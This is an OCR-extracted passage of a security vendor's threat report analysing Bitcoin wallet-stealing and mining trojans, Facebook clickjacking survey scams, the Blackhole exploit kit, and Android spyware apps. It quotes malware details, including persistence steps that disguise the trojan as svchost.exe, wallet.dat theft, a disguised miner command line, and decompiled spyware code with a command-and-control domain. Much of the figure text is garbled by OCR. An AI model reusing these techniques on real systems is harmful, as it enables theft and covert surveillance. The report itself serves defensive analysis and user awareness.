OP_DUP OP_HASHI160
1 Not yetredeemed | 0.12614552 | 1HxviRXr2pTLveFB1BMMKXTCokPROTISAE | Address | P2130e40ecacalbd6d3439bb350£d9824582c3d
OP_EQUALVERIFY OP_CHECKSIG

Figure 5 - Bitcoin Transaction, source: blockexplorer.com

In this example (Figure 5), you can see the previous transactions (input), the sender (From Address), the receivers (To Address), the amount (Total BTC), the
fee, etc.

Transaction fees may be included with any transfer of Bitcoins from one address to another. At this point, many transactions are typically processed in a
way where no fee is expected at all. However, for transactions which draw coins from many Bitcoin addresses and therefore, have a large data size, a small
transaction fee is usually expected. The transaction fee is processed by and received by the Bitcoin miner. When a new Bitcoin block is generated with a
successful hash, the information for all the transactions is included with the block, and all transaction fees are collected by that user creating the block. The
user is free to assign those fees to himself.

There might be a 0-Day security flaw within the Bitcoin (BTC) network which allows transaction fees from the previous 50-100 or so blocks to be multiplied
and transferred to any account instead of to the people who created these blocks.

For the price of your Mozilla Firefox passwords, you will get a bogus message saying you will receive BTC funds within <RANDOM> amount of minutes and
from <RANDOM> (and thus invalid) address of the Bitcoin sender.

The following simple Autolt script code can be used to produce a random Bitcoin-like address:

Func Fne175()
Local $Local@11A = StringSplit("QWERTYUIOPLKJIHGFDSAZXCVBNMabcdefghijklmnopgrstuvwxyz0123456789", "")
Local $lLocale1iiB = ""
For $VarolF2 = 1 To 0x0022
$Locale11B &= $Local@11A[Random(1, ©x003E, 1)]

Next
Return $Localo11B
EndFunc

Not Part of the Bitcoin Network? Are you sure?

Our Security Labs have noticed a kind of a Trojan that uses the user's computer to mine Bitcoins on behalf of the attacker. The Trojan manages to silently
install itself on victim's computers (exploiting various vulnerabilities). This piece of malware can run without a user’s knowledge, it is running in the
background by disguising itself as a windows process (using filenames that belong to or are similar to the Microsoft Windows processes, often exploited to
hide a malware presence such as spoolsv.exe, svchoOst.exe, explorer.exe). The Malware is using victims CPU and/or GPU computing power to mine BTC
(Bitcoin currency) for someone else.

An example for command line which starts the Bitcoin client with the relevant parameters:
svchoost.exe -a 60 -g yes -0 http://xxxx:8332/ -u <user name> -p <password> -t 2:

This can be easily used as part of a Botnet which could mine Bitcoins using the CPU power of a victim's computer.

The first two examples are considered a “small change” for cyber criminals. They are always looking for the “big money," an easy target in a shortest period
of time. Mining for Bitcoins is a long process; the easier way is to steal someone else’s Bitcoins, someone who already invested the efforts to gain Bitcoins.
The distribution channels of Bitcoin malware do not bring anything new to the table — known infection vectors are abused:

e Malware is “bundled” with some application and malicious files are silently dropped in the background of installation.
e Using social engineering to persuade users to download and install malware.
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Cyber criminals can go after the Bitcoin owners and try to install their “Money” by luring them to install a piece of malware. This malware then acts as a
backdoor and allows remote control of an installed Bitcoin client on the victim’s machine (Figure 6) or directly steals the Victim’s Wallet (see Virtual
Pickpockets below)

| 7] Functions window 8 X DA Yiew-4 B | = Hexx Views-A | & Structures | E Erums | & Impar
e [sea] try ¢ TIdSS [MSCUT IID[SYSTEM-EXCEPT
Slistener2 seg newobj  instance void [System]System.Diagnosti|
FDecrypt e stloc.@
FEncrypt e 1dloc.@
SFirewall e 1ldarg.8
IsFirewallEnabled sec 1dfld §tring SErugr.Main::MinErPath i .
GetFirewal sec ;gilun‘;t instance void [System]System.Diagnosti|
oc.
FUAC seg ldarg.@

SHWID et 1df1d string Server.HMain::MinerPath
GetLocalsInfo s8¢ ldstyr

Getlnfo e call string [mscorlib]System.String::Concat
GetCh seg callvirt instance void [System]System.Diagnostif
GetLastInput Time sec call int32 [mscorlib]System.Environment::ge
Manetizer sec ldc.i4 A1

bne.un.s loc_24A1

Miner SEC
StartGPUI sec

e e T

StarkCPU S8 .
Buttonl_Click seC ==
Conneck seg ldloc.@
WsG s lastr ) .
k call int32 [mscorlib]System.Environment::get_ProcessorCount()
Broadcast et call string [Microsoft.VisualBasic]Microsoft.UisualBasic.CompilerServices._Conversions::ToString(int32)
Forward seg ldstr
Hode sec call string [mscorlib]System.String::Concat{string, string, string)
ListenToConnection sec callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_Arguments{string)
'[ - | LI—I br.s loc_24C2

Figure 6 - Trojan Which Allows Remote Control Over Bitcoin Client

By remote controlling the Bitcoin Client, the cyber criminal can easily transfer the content of the wallet to their account. In the Bitcoin market, as said
earlier, the account is anonymous; all users see is an address, it will be impossible to retrieve the money once it was approved by the network.

Virtual Pickpockets

People might be expecting to get pickpocketed while wandering around the city, going to a festival or just being a tourist elsewhere, in these cases their
wallet is usually within reach of pickpocketers. However, how many people don’t realize their wallet is within reach while they are at home? If you are one
of the early adopters of a digital currency, you should have known that, if you are not part of this group... just pay attention, it will pay off.

A Bitcoin wallet contains all the private keys necessary for spending. If the wallet is being deleted without a backup, then the owner no longer has the
authorization information necessary to claim his coins, and the coins associated with those keys are lost forever.

One of the oldest crimes has been adopted by cyber criminals, and people don’t even need to leave their home to lose their (Bitcoin) wallet. Let’s see how
one of these Bitcoin pickpockets is doing their shady business.

How does this work?

1. First step is as usual to lure victim to download the malware or exploit known vulnerability and download it

2. “Wear a jacket” by copying the malware to the temp directory and disguising as a legitimate Windows process: Copy file
"c:\WORK\55a88f1341a0e948a592dc3aadec6208.exe" to "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svchost.exe"
Reboot will not help in this case...

3. Setregistry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "svchost.exe" =
"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svchost.exe"

4. Copy file "C:\Documents and Settings\<user_name>\Application Data\Bitcoin\wallet.dat" to "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\

5. While code itself is slightly obfuscated and there are keylogging features included, file contains few naked strings revealing wallet.dat stealing
action (Figure 7)

TULTTg O FPErLFYHORETU £ .97 LEPCOCEWHI L | Bul™ s LVYPL—LHELUF D UBHEUS UUHE - 43T
ERil;*UEELE ;B Hipb ; Lie<HO%M " 6(0 05 . pP&T ' RREPiil]ql 43 wE6 . T4l I« 2260, J3°u[\D
NTEYYRU>N1E-t0>aDamT2~7@TONASNAR] |vE*AETDY .00d;+ .69 3K y . nEixc«us? 1A\ .VA900
p£$-B36 6s0.0nBF§>0qf,0b W01 2 &+ »BF _1{—=..CO>HinY-éldAQg*!i°@.tzizF1amp
1) at+ r %d rb Content-Type: multipart/form-data; boundary=----
——————————————————————— .. —-————————---—-—--—-——-—-——————— Content-Disposi
tion: form-data; name="userfile'; filename="" "'__Content-Type:application/=-

gzip.... .. - . Hozilla =/= POST <
%c [%s] < ». dw APPDATA \Bitcoin\wallet.dat hzvxzhwctiquwikd swch
ost.exe Software\HicrosoftiWindows\CurrentUersionyRun wa 1g w.php bc

(ERNNERRG? AN A i°R io@ e+008 A~_.PA  £ijijcalsProcesso

rFeaturePresent KERHEL32 1#QHAN  1#INHF 1#IHD 1#5HAH H

.......... pyyy OGYy pyyy o -v@ o bUUY  OUUY  pUYY e
- PYSY  BURY bbby tNe puby  Oupy  puby 818 bUbY
vy puyy L@ bybh  OUYY - pUby > ba  _ bUvy  Ouyy P
vyy  sd€ - PUVY OUYY  pYy ce@ pUby BUYY  puyy - 1fE
hailiiii i hailiiii = nid hiliiii Wiiiiii hijiiiiNhi@A_»hid hiiiiiilhid _—hi@

Figure 7 - Stealing Wallet.Dat

All malicious files (and its variants) mentioned in this article are detected by AVG as Trojan horse Bitcoin, potentially unwanted application or part of
password stealer malware family.
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Recommendations
e Don’t leave virtual wallets unattended (unsecure)*
e Know the risks and use precautions
e Keep security applications up to date to ensure protection against such threats

Bsource: https://en.bitcoin.it/wiki/Securing your wallet
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Anatomy of a Facebook Attack

In our Q1 Community Powered Threat Report, we discussed Facebook's popularity and its fast growth, making it a prime target for cyber criminals.

Facebook is the second most popular site in the world according to Alexa's traffic rankings. Facebook had explosive growth from 2008 with ~100 million
users to ~750 million users today. This equates to about ~11% of world’s population or ~36% of global internet users; Facebook became the largest social
network worldwide (source: internetworldstats.com™)

In this report, we examine the anatomy of the Clipjacking and Survey Scam. Clipjacking (similar to Clicklacking or Likelacking methods) is a method where
scammers try to trick Facebook users into clicking on a play button of a video clip. In this specific case it is claimed to be the world's funniest condom
commercial. Similar to the earlier Likelacking scams, the users do not realize that by trying to play the video clip, they are unwittingly saying that they like
the video clip, and not just that, they even “share” it with their Facebook friends. However, the ultimate aim of this attack is to get the victim to agree to
an automatic $10 monthly mobile phone charges. Even if the victim evades the monthly mobile phone charges, they are likely to be embarrassed at a
minimum, as most of the lures involve subjects of an adult or morbid nature. Co-workers, bosses, parents, children and spouses are usually part of each
people’s network.

This attacking method is taking advantage of the viral nature of Facebook, every time someone is trying to watch the video clip, it is written on their wall
and being shared among his friends and his friend’s friends (via the News Feed) and spreads all over the Facebook nation.

The attack involved placing a transparent image file (GIF) over a video clip, this GIF file and the hidden code can go unnoticed by the majority of Facebook
users. The user is tricked into believing that they are pressing the “play” button but actually clicking on the transparent GIF which executes the code.

It is important to note that even though this is not a computer virus or worm per se, since it relies on the viral nature of Facebook itself to spread, it is
viewed by most of the victims as they’ve been hit by a virus.

Clickjacking is one of the most common attacks executed against Facebook users. In August 2011 alone we have witnessed that more than ~80% of the
attacks on Facebook were Clickjacking related (Figure 8).

M Facebook Clickjacking
0,
8.74% 1-98% 1.43% (type 1911)

H Facebook Clickjacking
(type 1822)

007 i Facebook Worm
(1403)

H WebAttacker Exploit
Kit

i Eleonore Exploit Kit
(type 1404)

Figure 8 - Facebook Attacks Statistics, August 2011

Let’s dive deeper to see a live example of how this attack works:

1. A Facebook user sees on their news feed, a viral link recommended by a friend in their network
When clicking on the viral link, the following page is presented (Figure 9), all they needs to do is click on the play button, right? ...Wrong.

L bmpgnd e =
[ Ees  Praim Took e
wortm | 1y B = Fees iiwal

Furwwmst Carmme cial Cve

oy

The Funniest Condom Commercial

Figure 9 - "innocent" play video page

3. As we are often told... read the fine print! Most Facebook users will not be able to see the hidden code underneath the photo (marked with a red
border) or wouldn’t understand the implication if they did
4. In the following screenshot (Figure 10), part of the code is highlighted
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Figure 10 - Highlighted Malicious Code

5. Anyone clicking the play button would have this same code executed on their Facebook account, on top of the hidden “like” process, the user is
being asked to fill out an endless list of surveys, generally to “prove that they are not an internet bot (Figure 11)

Please fill out one of the following surveys. You will not be allowed to continue until you have
completed a survey,

Figure 11 - Internet Surveys

6. After a seemingly endless process of surveys, eventually the user gets to the point where they “only” need to supply their cell phone number.
While supplying the cell phone number, the user basically agrees to an automatic $10 monthly mobile phone charge... (Figure 12)

Quiz Completion
Are You Ready For The Results?

culated

o -

*QUIZ COMBO CLUB SUBSCRIPTION TERMS OF SERVICE:

Figure 12 - The Small Print

Estimated clip/clickjacking revenues:
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The following chart (Figure 13) shows the clickjacking detection rates during Jan-Mar 2011.

2500000
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1000000
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Figure 13 - Survey Spam and Clipjacking Jan-Mar 2011

The Facebook detections are the ones that show Facebook as either the deliverer or the referrer, and it roughly works out to 30,000 detection reports daily
in March 2011. AVG’s ‘population’ is 98 million and the Internet’s population is ~2 billion people (source: internetworldstats.com *°), so we can assume that
the real daily detections are approximately ~600,000 (30,000 X 20). Let’s assume that the success rate (meaning users who did provide their cell phone
details to the cyber criminals) is about 1%. This translates to 6,000 users who generate $60,000 per day of gross profit, or ~1.8M per month. However, we
shouldn’t forget this is not a one-time sale. Unless the victim cancels the charge, it will recur each month, easily compounding to over ~$20,000,000
annually.

Other ClickJacking / likeJacking scams that we witnessed during the year are:

e “Big baby born —amazing effects”

e “Who is looking at your profile”

e “Girl caught stripping on webcam by her dad”

e “You won’t believe what this teacher did to his student”

e  “This guy took a picture of his face every day for eight years”
o “Lily Allen shows her breasts on British television”

The main take away from the above story is that stealing credit card data is passé... to steal a victim’s money, all that is needed is their mobile phone
number. Mobile phones companies make it easy for the scammers since they collect the money for them.

Recommendations

e The first step is for people to avoid Facebook videos that offer dubious content, sensational or extreme headlines or too good to be true offers or
deals

e AVG LinkScanner provides a FREE technology to protect users from these types of attacks

e AVG provides ‘AVG Mobilation™’, free software for Android to protect users from such threats, especially important when users install Facebook
application on their mobiles

e Check phone bills regularly

> http://www.internetworldstats.com/stats.htm
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Follow Up on Blackhole Attack
Blackhole is the most prevalent attack tool kit reported by the AVG community. During H1 2011, more than ~34 million detections were reported by our
community.

An attack toolkit is a commercial software program that can be used by novices and experts alike to facilitate the launch of widespread attacks on
networked computers. With the attack toolkit, the cyber criminals can easily launch an attack using pre-written malicious code that exploits a number of
vulnerabilities in popular applications. These attacks often target un-patched security bugs in widely used products such as Adobe Flash Player, Adobe
Reader, Internet Explorer and the Java Runtime Environment.

The ease of use and accessibility of these toolkits gaining popularity in recent years have opened the doors to more cyber criminals who would otherwise
lack the required technical expertise to succeed in the cyber crime underground.

In the past, cyber criminals had to write their own malicious code from scratch, so the field was dominated by more technical savvy criminals. Quite quickly
they realized that they can “monetize” their efforts by selling tool kits to less-savvy criminals who would pay good money for the tools they needed to
commit crimes. The Blackhole creators have taken that “commercialization” one step further — leasing their exploit kit. The genius of the kit lies in its
straightforward user interface, sophisticated design, encryption and its creators’ marketing model.

The kit first appeared on the criminal underground market in September of 2010 and ever since then has quickly been gaining market share. By mid 2011 it
was installed on about 16,000 sites where web users would fall victim to drive-by downloads.

Blackhole Detections statistics
The following graphs (Figure 14), displays data based on our user community.
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Figure 14 - Blackhole Detections H1 2011

Blackhole detections reached its peak during March 2011 with more than 8 million detections and then started to decline dropping sharply during June
2011.

Meanwhile, AVG threat labs have noticed that the number of domains carrying the Blackhole exploit kit has increased, as can be seen in Figure 15. Even
though the number of detections decreased from March 2011, the number of domains increased during the same period.
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15000

N

7
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Figure 15 - Unique Domains Monthly Distribution

The decreasing number of detections after the March peak and the simultaneous increase in the number of domains carrying Blackhole indicates that there
are more traps on the web, but fewer victims falling into them.
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One possible explanation for this trend can be related to anti-virus software, network filtering and safe-surfing measures people are using, which keep web
users from visiting these malicious sites.

The Blackhole Business Model
The Blackhole creators are believed to be from Russia as the kit comes with Russian and English language support. Unlike its competitors, the developers do
not sell the software on the underground network. Instead they lease it for a $1,500 annual license fee.

Blackhole pricing scheme (MalwareReview.com'®)

Annual license: $ 1500
Half-year license: $ 1000
3-month license: $ 700

Update cryptor $ 50
Changing domain $ 20 multidomain $ 200 to license.
During the term of the license all the updates are free.

Rent on our server:

1 week (7 full days): $ 200

2 weeks (14 full days): $ 300
3 weeks (21 full day): S 400
4 weeks (31 full day): $ 500
24-hour test: $ 50

There is restriction on the volume of incoming traffic to a leasehold system, depending on the time of the contract. Providing our proper domain
included. The subsequent change of the domain: $35

No longer any hidden fees, rental includes full support for the duration of the contract.

Technical Design
On the server side, the Blackhole exploit kit is based on PHP and MySQL. On the client side, it targets the Windows operating system and popular
applications running on Windows OS by exploiting Java, Adobe and Internet Explorer vulnerabilities.

Blackhole gained popularity due to its feature richness and flexible pricing scheme as:

e Blackhole contains anti-detection measures to avoid being detected by security solutions. It contains an obfuscation option and custom encryption
scheme in order to block analysis and detection

e Statistical Console: The Blackhole exploit kit offers its customers a quick view of the most relevant information, such as the number of computers
that is part of the network and their respective countries, infection statistics (by OS, by browser type, by exploit), etc. (Figure 16)

e Online virus scanning services to check how well the malware is being detected

FITEREA

@ o

Figure 16 - Blackhole Management Console

'8 http://malwareview.com/index.php?topic=857.0
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How Does It Work

The cyber criminals, in order to infect as many machines a possible, install a web server, register it on a cheap and easily registered domain (such as the
infamous. Co.cc domain) and install their exploits. These are known as “exploit servers,” because web users, unless they are redirected to them, would
never visit them or even know they existed (e.g. the hidden web). The infected sites sit there like little poisoned mushrooms, and no one gets infected
unless they go to them by accident.

The cyber criminals then break into popular web sites, such as WordPress, social network sites and others sites. On these sites the cyber criminals embed a
relatively short and easily overlooked piece of JavaScript code, which is often obfuscated to hide its intentions. They commonly use the same obfuscation
tool which is to hand (since they already paid for it anyway), and it works reasonably well.

The de-obfuscation of this piece of JavaScript code will occur when the page loads. Behind the obfuscated code, there is an IFRAME which redirects the
victim’s browser to the relevant malicious page on the exploit server.

The exploit server attacks, often first using a malicious Java JAR file that downloads and executes a Trojan (Figure 19) onto the victim's machine. If that
works, that machine is under a full control of the criminals.

Whether it was successful or not, the next obfuscated Blackhole exploit will attack next (Figure 20). This is a JavaScript code that attempts to load malicious
PDF or SWF (Flash) files or attack with an old MDAC attack (un-patched Internet Explorer version 6 is vulnerable to this.) There is a great variety of options
that aim to break into the victim's machine and control it by loading and executing Trojan programs.

If a Web user has been diligent in keeping their system fully updated, the attack will probably fail. It will succeed if it finds an un-patched vulnerability or if
the cyber criminal has used a zero-day vulnerability.

From the end user perspective, when a user visits a compromised website, they will be redirected to a page which looks like 404 ‘page not found’ (Figure
17) however the malicious code on the page that is hidden from the eyes of a novice user (Figure 20). In some cases, the user will notice that a rogue
antivirus program has been installed and run (Figure 18 - Rogue Antivirus program

). Once the machine has been infected, the “404” window closes, the end user machine then starts to talk to its C&C server from which it downloads
additional files in the background:

o Key loggers

e Banking Trojans

e Remote access Trojans (RATSs)

e Fake antivirus applications

e Bots such as SpyEye or Zeus. The bots are often used to distribute spam or carry out distributed denial-of-service attacks

404 Not Found

Figure 17 - End user view while loading the malicious page
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Figure 19 - Decrypted Blackhole script (partial)

Figure 20 - Encrypted JavaScript code
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Recommendations
e  Promptly install ALL updates to the Windows operating system, Internet Explorer and all software installed on the machine. Blackhole can only

infect a machine that has one or more vulnerabilities — most of the vulnerabilities used have been patched for a year or more

e Anyone using AVG’s Premium Security, Internet Security or Free Anti-Virus, is protected
e It's not a bad idea to disable the JavaScript capability inside Adobe Reader. Very few users depend on it and it’s far more commonly used by the bad

guys to make their exploit work than for any legitimate purpose

e Think before you click!
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Mobile Devices Risks & Threats

Fake it till you make it

The Android operating system is now the most popular mobile OS and its apps are gaining popularity as well. According to Canalys, Android takes almost
50% share of worldwide smart phone market".

There are 100 million activated Android devices worldwide, 550,000 new Android devices are added daily™® and more than 200,000 applications are now
available (source: googleblog — May 2011").

Most Android users are familiar with the official Android Market, where they can download applications directly to their device (4.5 billion applications
installed from Android Market, source: googleblog). However, there are many unofficial application stores/markets and the numbers are constantly
increasing (Figure 21).

apholc

[iAppstb  GORPKE

Figure 21 - Various Popular Android App Stores

The App stores revolution is a key element in the smart phone market; every major player on the internet has an app store: Google, Apple, Nokia, Amazon
and more.

The Android Market is an online software store developed by Google for Android devices. The “Market” application is pre-installed on each Android device
and allows users to search, browse and download apps from the market.

The Risk
As Android OS gains market share in the mobile/tablet markets (Figure 22), it becomes a target for cyber crime (as anticipated in our previous reports).

Total Market Share

1% P s304% - i0S

0%

30, ; [ 2057% - Java ME
6% B 15.95% - Android

B.21% - Symbian
P 3.33% - BlackBerry
B 0.34% - Windows Mohile
B 0.54% - Other

Data Provided by ReallTimeStats. com

Figure 22 - Mobile/Tablet Operating System Market Share (source: marketshare.hitslink.com)

Although valuable to the users, alternative Android app stores pose security risks to users along with challenges to websites administrators and security
companies.

No mobile platform is completely safe.

Malware authors are always looking for new ways to distribute malware; the app stores are fertile breeding grounds for such activities. The cyber criminals
are exploiting the open source and the “freedom-inspired” nature of the Android OS.

The most effective way so far to trick Android device holders is by packaging malicious code inside seemingly legitimate applications (the process is called
repackaging) posted to the Android Market. We have noticed a marked increase during 2011. Malicious applications are often masked as useful
applications, games or adult content. Two examples of fake applications were fake versions of HandcentSMS and AngryBirds.

Y Source: http://www.canalys.com/newsroom/android-takes-almost-50-share-worldwide-smart-phone-market
'8 Source: http://techcrunch.com/2011/07/14/android-now-seeing-550000-activations-per-day/
% Source: http://googleblog.blogspot.com/2011/05/android-momentum-mobile-and-more-at.html
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Users that download from these app stores cannot spot the difference between fake and original applications. Below we provide real-life examples of cyber
crimes targeting the Android Market and the methods used to “monetize”. Our lab is constantly inspecting applications which are uploaded to the official
Android marketplace and third party marketplace, trying to find malicious applications uploaded by criminals.
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The Anatomy of a Malicious Android Application

Case #1

During July we detected the following malicious packages on the ‘Appslib’®® market place. These malware packages were developed by “kingmall2010” and
“zsone”. “kingmall2010” is known in the market as a malicious code writer. It was not the first time (and probably not the last time) that we detected his
creations released to the market. Google has already removed several applications from the official android Market (and devices), which were developed by
“kingmall2010". “kingmall2010” is also very active in the 3™ party marketplaces.

“kingmall2010” packages contain the notorious “DroidDream” attack which can root a user’s device and is able to send sensitive information from the
phone to a remote server.

In both cases, it is clear that many people were infected (~37,000) and this is just from the Appslib marketplace. The same applications were uploaded to
other marketplaces too and therefore the total number of infected devices is higher.

The owner of the ‘Appslib” marketplace has immediately been notified and removed the malicious apps from the marketplace.

Developer name kingmall2010 Developer name zsone
Type of Malware DroidDream Type of Malware zsone trojan
Package name downloads Package name downloads
com.hz.game.mrrunnerl 86 com.mj.iAnime 43
com.droiddream.sexringtones 13315 com.mj.iCartoon 38
com.beauty.leg 50 com.mj.iBook 264
com.droiddream.blueftp 4667 com.mj.iMatch 3
com.droiddream.android.afdvancedfm | 2719 com.mj.iCalendar 374
com.droiddream.passwordsafe 38 RZStudio.game.shakebreak | 27
com.droiddream.barcodescanner 15276 com.mij.ball 17
com.droiddream.advancedtaskkillerl | 138 com.mj.life 41
com.RZStudio.cube 29
Total Downloads 36289 com.RZStudio.iShakeBanger | 8
com.RZStudio.iMine 10
Total Downloads 854

Podcasts  About  Advertise  Tip Us  Contact Us

Carriers Manufacturers Phones Apps Forum  Store

Google just came out with their +1 Button. 0
Show your Support for Android Applications By Clicking! e

Home > Apps > Tools

y Task Killer Pro
@, kingmall2010
Advanced Barcode Scanner FREE W kkkkok
“gY by kingmall2010 100 - 500 downloads 1ratings Comments

A P P S Kill task, free memory, speed up phone, save battery
wwwi It Is a super task killer tool.

Description

Scan barcodes on products then look up prices and reviews. Find the best
online and local prices. You can also scan Data Matrix and QR Codes
containing URLs, contact info, etc. Aim the camera at any product’s barcode,
wait for the beep and it will provide you with a list of online and local prices. Also
share your contacts, apps, and bookmarks via QR Code. This is why contacts
permissions are needed.

No comments

Screenshots ChangelLog
ikl Update wversion was updated
07-16-2010
Update title was updated
07-16-2010

Figure 23 - ‘kingmall2010’ applications on Phandroid website

% http://appslib.com/home.html
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Case #2

The AVG Security Labs have recently detected! another Trojan which was uploaded onto the Android Market disguised as an application. This Trojan is
capable of recording conversations made from Android devices. It saves these recordings to an SD card in order to upload them to a server later. The

malware also records SMSs (received and sent) and GPS data (location and info).

This Trojan originated in China. The method of infection is simple, users download it from the market (Package name: com.nicky.lyyws.small).

Analyzing the Manifest File

Every application must have a Manifest XML file in its root directory. The manifest provides essential information about the application to the Android

system, information the system must have before it can run any of the application's code *

When installed, it requires a long list of permissions (one of the things that each Android device owner should check before installing any application); as we

can see from Manifest file some of them are related to conversation recording capabilities (Figure 24):

Receivers: Broadcast receivers enable applications to receive ‘intents’ that are broadcast by the system or by other applications, even when other
components of the application are not running®’. The receiver is declared in the Manifest file. In this case, the malware uses it to start up after the device is

booted (Figure 25):

Location and
GPS handling

<uses-pe
<uses-permiss
<uses-permission a
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

Contacting
c&c

Contacts Able to make calls

handling

android:
ndroid:

jon
. PROCESS_OUTGOING_CALLS" />
. INTERNET" />
.perijSjcn.ACCESS_GPS" /> _—
ermission. ACCESS_COARSE_LOCATION" />
ission. ACCESS_COARSE_UPDATES" />
sion.ACCESS_FINE_LOCATION" />
android:name="android. permis™ign. READ_PHONE_STATE" />
android:name="android. permissi®n. READ_CONTACTS" />
android:name="android. permission. wRITE_CONTACTS" />
android:name="android. permission. ACCESS_WIFI_STATE" />
android:name="android. permission. PERMISSION_NAME "k />
android:name="android. permission. SEND_SMS" />
android:name="android. permission. READ_SMS" /
android:name="android. permission.wRITE_SMS"
android:name="android. permission. WAKE_LOCK" /
android:name="android. permissiomn, RECORD_AUDIO

android:®
android:name="androids
android:name="android.p
android:name="android. per

<uses-permission android:n » android. pec N.WRITE_EXTERNA\ _STOMAGE" />
ﬁqges-p%Efiiilgg,andnu+ufﬁ§ﬁ§j:and we=Permission. DEVICE_POWER" />

Writing conf

files

Recording SMS handling

and sending

Checking

conversation connectivity

Figure 24 — The Manifest File

<receiver android:name="BootReceiver'=>

<intent-filter>

<action android:name="android.intent.action. BOOT_COMPLETED" /=
<category android:nmame="android.intent.category.HOME" />

</intent-Tilter>
</receivers>

<receiver android:name=".AlarmReceiver” android:enabled="true"” />

Figure 25 - Receiver Declaration

When the device boots, the following message is seen in the “Manage Application” Tab (Figure 26)

Services: A Service is an application component representing either an application's desire to perform a longer-running operation while not interacting

'Manage applications

ﬁ\ Android System Message

Figure 26 - Manage Application Window

with the user or to supply functionality for other applications to use*.
There are many services declared in the Manifest file (Figure 27): SMSListner, CallRecordService,etc.

I Source: http://www.avgmobilation.cam/securitycenter/securitypost 20110804.htm#tabs-2

2 source: http://developer.android.com/guide/topics/manifest/manifest-intro.html

2 Source: http://developer.android.com/guide/topics/manifest/receiver-element.html

24 source: http://developer.android.com/reference/android/app/Service.html
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<service android:name=".Mainservice” android:exported="true">
zintent-filter>
<category android:name="android. intent. category. defult” />
</intent-Tilter>
</services
<service android:name=".GpsService” ardroid:exported="true">
<intent-filter:>
<action android:name="work.service. xm_gps" /=
</intent-filter>
</services
<service android:name=".SocketService">
<intent-filters
zaction android:name="work.service.upinfo™ /=
</intent-filters
</services>
<service android:name=".xM_smsListener"” /=
<service android:name=".xM_callListener"” />
<service android:name=".xM_callrecordservice” />
<service android:name=".Recordservice” /=

Figure 27 - Service Declarations

After the device boots and the malware is activated, the list of services is listed in the “running services” tab (Figure 28). All these services are running in
the background without being noticed by a novice user

Running services

Android System Message

% MainService

XM_CallRecordService

% SocketService

' ."n XM SmsListener

2\ GpsService

Figure 28 - List of Services

We can see from the onCreate() method the recordService has been activated (Figure 29):

public void =ofreate|]
Bupar.chioceste (| §
FowaEMATAFeE . Balelsel LocalWakalosk = [|FowerMatiagder) patApplicatlanlontant (] . gerdysranlervise | "powar ™) | . awia kalssh |1; "Raaspddsrvlee™) |
Chis.copding 1
Af (Enviyohlmsnt.ecintarndlfcorapeirared) spealsi” 1AL Sl ]

leDateFormat (*", localloosls];
' P

callrasardil }

Figure 29 - OnCreate()

Following the installation, the malware creates an XML file named XM_All_Setting in the shared preferences (Figure 30)
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public wvoid onCreate ()

[

supar.ontreate {);

android.os. Fowsrienager.Wakelock wakslock = {(Fows=rMansger) gut.ﬁp]_:llcut-ichn.ﬂnn:ut-ﬂ cgetdys temA=rvice {"oow=c™) ) .oowiiakelock{]l, "MainfSsrvize="};
String a3 = ({Izlephoconyianager)getSystemS8ervice ("phone") ) .getheviceId() ; +__

inai = a;

SharsdPrefesrences sharedprefersnces = getfharedPrefersnces("HM ALl Setsing™, )

sharsdPrafersnoes = sharsdprefesrsnossr
RlarmManager alarmmanager = {(Alarmdanager)getS@ystemBarvice ("alarm") ;

Intent intent = new Intent{this, com/nickyflywwa/xmall/alarmReceiver) :
PendingInt=nt pendingintsnt = PendingInt=nt.getBrosdcast(this,

alarmmanager.sstRepeating (L, UL,

bLULdL, pendingintent) r

s

e Get IMEI

T, intent; 0);

Configuration file

Figure 30 - Malware Configuration File

The address of the C&C (Command and Control) server is hard coded in the code (Figure 31):

if is:mn_anm.uquala "y 11 SJERVER_PORT == 1
[

android.content.Sharedfrefarances.Pditor aditorl = editor.putString("S=crvice”, jin. SEma . com™) 5
android.content . Sharedfreferences . Editor editor? = editor putlot ("Foct™,; 2018);
android.contont.fharedirefcrences .Editer editord = editor.putstring("Time", “1%};
android.content.haredPreferences.Editor aditord = editeor.pucScring(”
android.content . SharedPreaferences ,Editor aditord = editer.putdcring("E it
android.content.fharedPrefarances . Bditor aditorf = editor.putdtring("EndTima™, "23:55");
booclean flag = editor.commit();

]
2tring 23 = sharedpreferences.getdtring("SeginTime"™, "00:01%);
String a4 = aharedpreferences.gecdtring("EndTize

int k=

Figure 31 - C&C Server Settings

A check to identify who is behind this domain http://jin.56mo.com, revealed that, unsurprisingly, it is located in China (Figure 32)

56MO.COM - Domain Information™

Domain 56M0.COM [ 5ite Info Traceroute REL/DMNSEL lookup ]
Registrar KIAMEN CHINASOURCE INTERNET SERVICE CO., LTD.

Registrar URL

Whois server

http://www.Zzy.cn

whois.cnolnic.com

Created 16-Jul-2010

Updated 24-Jun-2011

Expires 16-Jul-2012

Time Left 318 days 14 hours 52 minutes
Status dientTransferProhibited

DNS servers NS7.CNOLMIC.NET 59.151.23.105

NS8.CNOLMIC.NET 211.152.51.13
56MO.COM - Geo Information

IP Address 116.255.202.188
Host 56mo.com
Location [ CN, China
City Henan, 24 -

Organization

I5P

ZhengZhou GIANT Computer Network Technology Co., L

ZhengZhou GIANT Computer Network Technology Co., L

Figure 32 -WHOIS for 56mo.com

28


http://jin.56mo.com/�

AVG

Visiting this domain, we received the following message (Figure 33):

€ C fi © 56mocom

o i A o

Figure 33 - Message#l

Which translates to “website maintenance”:

From: Chinese - detected » T To: English = Chinese . detected (o English translation

ERESEE Website maintenance

Figure 34 - Translation of Message#1

The Page Title was “Recharge success”:

Gox :gls: translate

From: Chinese - detectéd - To: English ~ Chinese . detected 1o English translation
FEEATh Recharge success

When browsing to the specific URL, we received “Bad Request”

- C & © jin56mo.com

Bad Request (Invalid Hostname)

Recording conversation: When there’s a phone call is made between two devices, the malware records the conversation and saves it to the SDCARD,
under directories named ‘shangzhou/callrecord’ (Figure 35):
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Mame Size Date Tirme Permissions  Info
== data 2011-07-07 11:28  drwsnane--x
4 = sdcard 14970-01-01 00:00  d---rwsr-x
» = LOST.DIR 2011-07-07 11:28  d---nwmr-x
4 [=- shangzhou 2011-08-04 1011 d---rwr-x
